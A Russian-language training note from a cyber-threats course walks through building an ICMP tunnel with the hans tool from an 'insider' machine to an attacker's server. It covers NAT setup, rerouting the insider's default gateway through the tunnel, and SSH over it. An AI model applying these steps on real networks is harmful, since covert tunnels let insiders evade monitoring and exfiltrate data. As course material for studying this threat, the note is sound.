---
# System prepended metadata

title: ICMP Tunneling
tags: [1 модуль, Cyber Infrastructure Threats]

---

# ICMP Tunneling


#### 1. Установка необходимых инструментов

> Команды ниже производим на машине атакующего и инсайдера
> 
> Необходимо установить make, g++, net-tools
> 
> ```
> apt update & apt upgrade
> 
> apt install make
> apt install g++
> apt install net-tools
> 
> Если не установлен Git
> apt install git
> 
> ```


#### 2. Установка Hans на машине атакующего и инсайдера

> 1. Необходимо клонировать утилиту **hans** с **git**
> **`git clone https://github.com/friedrich/hans`**
> 
> 2. Перейти в папку **hans**
> **`cd hans/`**
> 
> 3. Собрать исходники с помощью **make**
> **`make`**
> 
> 4. Переименовать папку **hans** в **hans-tunnel**
> **`mv hans hans-tunnel`**
> 
> 5. Переместить папку **hans-tunnel** на директорию выше
> **`mv hans-tunnel ../`**
> 
> 6. И соответственно перейти на директорию выше
> **`cd ..`**
> 
> 7. Проверить есть ли права на *выполнение, чтение и запись* у директории **hans-tunnel**
> **`ls -la /hans-tunnel`**
> 

#### 3. Создание ICMP Tunneling

> 1. Создать интерфейс туннеля на сервере атакующего
> **`./hans-tunnel -s 10.1.2.0 -p *указать пароль сервера который будет использоваться для подключения клиентов*`**
> Созданному интерфейсу **tun0** присвоиться IP **10.1.2.1/24**
> 
> 2. В **/etc/sysctl.conf** включить **forwarding**
> **`nano /etc/sysctl.conf`**
> **`расскоментить net.ipv4.ip_forward=1`**
>
> 3. Сохранить и применить изменения
> **`sysctl -p`**
> 
> 4. Прописать **NAT**
> **`iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE`**
> 
> 5. На машине инсайдера запустить **клиент hans**, таким образом подключив его к серверу и создание **ICMP туннеля**
> **`./hans -c *указать IP сервера (не IP tun0)* -p *указать пароль сервера*`**
> Созданному интерфейсу **tun0** присвоиться IP **10.1.2.100/24**
> 
> 6. Для проверки роутинга
> **`ip route`**
> 
> 7. Можно направить трафик через основной интерфейс
> **`ip route add *указать IP хост сервера*/32 via *указать gateway IP клиента*`**
> 
> 8. Удалить дефолтный gateway и создать gateway сервера hans(tun0) атакующего
> **`ip route delete default`**
> **`ip route add default via 10.1.2.1`**
> 
> 9. Для проверки сети пропингуем внешний ресурс
> **`ping ya.ru`**

#### 4. Реализация туннеля внутри туннеля

> 1. Например можно использовать доступ по SSH
> **`ssh root@10.1.2.100`**


---

:::info
Полезный материал по теме

- [Инструкция hans](http://code.gerade.org/hans/)
- [Hans на GitHub](https://github.com/friedrich/hans)
- [Магия ssh](https://habr.com/ru/post/331348/)

:::





###### tags: `Cyber Infrastructure Threats`, `1 модуль`

